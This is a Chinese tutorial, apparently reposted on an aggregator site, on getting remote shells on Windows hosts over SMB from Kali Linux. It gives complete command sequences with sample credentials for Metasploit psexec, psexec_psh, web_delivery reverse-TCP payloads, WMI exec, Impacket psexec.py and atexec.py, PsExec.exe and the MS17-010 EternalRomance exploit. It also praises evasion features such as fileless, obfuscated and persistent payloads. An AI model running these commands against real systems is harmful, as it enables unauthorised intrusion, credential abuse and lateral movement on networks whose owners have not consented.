千家信息网

使用SMB端口远程连接PC的方法有哪些

发表于:2024-11-27 作者:千家信息网编辑
千家信息网最后更新 2024年11月27日,这篇文章主要为大家展示了"使用SMB端口远程连接PC的方法有哪些",内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下"使用SMB端口远程连接PC的方法有哪些"这篇
千家信息网最后更新 2024年11月27日使用SMB端口远程连接PC的方法有哪些

这篇文章主要为大家展示了"使用SMB端口远程连接PC的方法有哪些",内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下"使用SMB端口远程连接PC的方法有哪些"这篇文章吧。

研究设备

目标主机:Windows Server 2008 R2

攻击设备:Kali Linux

Microsoft Windows认证用户代码执行

这个模块可以利用有效的管理员用户名和密码(或密码哈希)来执行一个任意Payload,这个模块跟SysInternals提供的"psexec"实用工具非常类似,而且该模块现在还可以在攻击完成之后自动清理痕迹。这款工具所创建的服务使用的是随机选择的用户名及相关描述。

msf > useexploit/windows/smb/psexecmsf exploitwindows/smb/psexec) > set rhost 192.168.1.104msf exploit(windows/smb/psexec)> set smbuser administratormsf exploit(windows/smb/psexec)> set smbpass Ignite@123msf exploit(windows/smb/psexec)> exploit

备注:

rhost-> 目标PC的IP地址smbuser-> 用户名smbpass-> 密码

运行了上述命令之后,你将会拿到目标PC的meterpreter会话,接下来你就可以访问目标系统内的资源了。

Microsoft Windows认证Powershell命令执行

这个模块可以使用有效的管理员用户名和密码来执行Powershell Payload,这里使用的技术跟"psexec"所使用的技术相似。Payload采用了base64编码,可以使用-encoded命令选项来从命令行界面执行。这种方法不会把Payload写入到目标设备的磁盘中,而且每次生成的Payload都是唯一的,这样更加不容易被基于签名的检测方案检测到。为了实现持久化感染,模块还提供了持久化选项并通过while循环来不断执行Payload。通过分析后我们还发现,PSH的执行还加入了延迟和混淆技术来躲避检测。为了避免弹出交互式进程通知(可能会引起用户的怀疑),psh Payload的大小减少了很多,并且封装在一个Powershell调用中(完全隐藏在窗口内)。

msf > useexploit/windows/smb/psexec_psh

msf exploit(windows/smb/psexec_psh) > setrhost 192.168.1.104

msf exploit(windows/smb/psexec_psh)> set smbuser administrator

msf exploit(windows/smb/psexec_psh)> set smbpass Ignite@123

msf exploit(windows/smb/psexec_psh)> exploit

运行了上述命令之后,你将会拿到目标PC的meterpreter会话,接下来…

Microsoft Windows认证管理员实用工具

这个模块可以使用有效的管理员用户名和密码来在一台或多台主机上执行任意命令,这个模块是非常有用的,因为它不需要向目标主机上传任何的代码。因此,在一个新的metasploit框架中,我们就可以使用Web发送模块来获取到恶意dll代码,并在目标主机上实现任意命令执行。

useexploit/multi/script/web_deliverymsfexploit(multi/script/web_delivery) > set target 3msfexploit(multi/script/web_delivery) > set payload windows/meterpreter/reverse_tcpmsfexploit(multi/script/web_delivery) > set lhost 192.168.1.106msfexploit(multi/script/web_delivery) > exploit

复制上图中框起来的代码,这里面就是我们的恶意dll代码。

msf> use auxiliary/admin/smb/psexec_commandmsfauxiliary(admin/smb/psexec_command) > set rhosts 192.168.1.104msfauxiliary(admin/smb/psexec_command) > set smbuser administratormsfauxiliary(admin/smb/psexec_command) > set smbpass Ignite@123msfauxiliary(admin/smb/psexec_command) > set COMMAND [Paste above copied dllcode here]msfauxiliary(admin/smb/psexec_command) > exploit

当我们运行了psexec auxiliary模块之后,我们将拿到拥有管理员权限的meterpreter会话。

SMB Impacket WMI Exec

这个模块的使用方法跟psexec类似,但是它主要通过WMI来实现命令执行。

msf> use auxiliary/scanner/smb/impacket/wmiexecmsfauxiliary(scanner/smb/impacket/wmiexec) > set rhosts 192.168.1.104msfauxiliary(scanner/smb/impacket/wmiexec) > set smbuser administratormsfauxiliary(scanner/smb/impacket/wmiexec) > set smbpass Ignite@123msfauxiliary(scanner/smb/impacket/wmiexec) > set COMMAND systeminfomsfauxiliary(scanner/smb/impacket/wmiexec) > exploit

Impacket for Psexec.py

Psexec.py可以在远程Windows系统中执行进程、拷贝文件、处理输出结果并回传流数据。它可以直接在完全交互式命令控制台中远程执行shell命令,而且不需要安装任何的客户端软件。现在,我们需要先从GitHub上安装Impacket工具。首先克隆git,然后安装Impacket,接下来运行psexec.py来与目标主机建立连接。

git clone https://github.com/CoreSecurity/impacket.gitcd impacket/python setup.py installcd examples语句:./psexec.py [[domain/] username [: password] @] [Target IP Address]

Impacket for Atexec.py

这个样例能够通过任务计划服务(Task Scheduler)来在目标主机上实现命令执行,并返回命令执行后的输出结果。

./atexec.pySERVER/Administrator:Ignite123@192.168.1.104 systeminfo

语句:

/atexec.py [[domain/] username [: password] @] [Target IP Address][Command]

你可以从下图中看到,跟服务器的远程连接已经建立成功,命令systeminfo将会在目标服务器上执行,输出结果将会直接返回到Kali的终端窗口。

PsExec.exe

PsExec.exe这款软件可以帮助我们访问目标网络内的其他主机,它能够以自动化的形式拿到远程PC的shell。

PsExec.exe下载地址:【点我下载】

下载后解压文件,然后在命令行窗口输入下列命令:

PsExec.exe\\192.168.1.104-u administrator -p Ignite@123 cmd

备注:

192.168.1.104-> 远程主机的IP地址-u-> 指定用户名-p-> 指定密码cmd-> 输入命令

MS17-010 EternalRomance SMB 远程代码执行

测试设备:Windows 2007 旗舰版

攻击设备:Kali Linux

这个模块利用了SMB和MS17-010漏洞来实现数据的任意写入,并最终重写目标会话的连接信息,然后将其转换为管理员会话。

msf> use exploit/windows/smb/ms17_010_psexecmsfexploit(windows/smb/ms17_010_psexec) > set rhost 192.168.1.105msfexploit(windows/smb/ms17_010_psexec) > set smbuser rajmsfexploit(windows/smb/ms17_010_psexec) > set smbpass 123msfexploit(windows/smb/ms17_010_psexec) > exploit

以上是"使用SMB端口远程连接PC的方法有哪些"这篇文章的所有内容,感谢各位的阅读!相信大家都有了一定的了解,希望分享的内容对大家有所帮助,如果还想学习更多知识,欢迎关注行业资讯频道!

0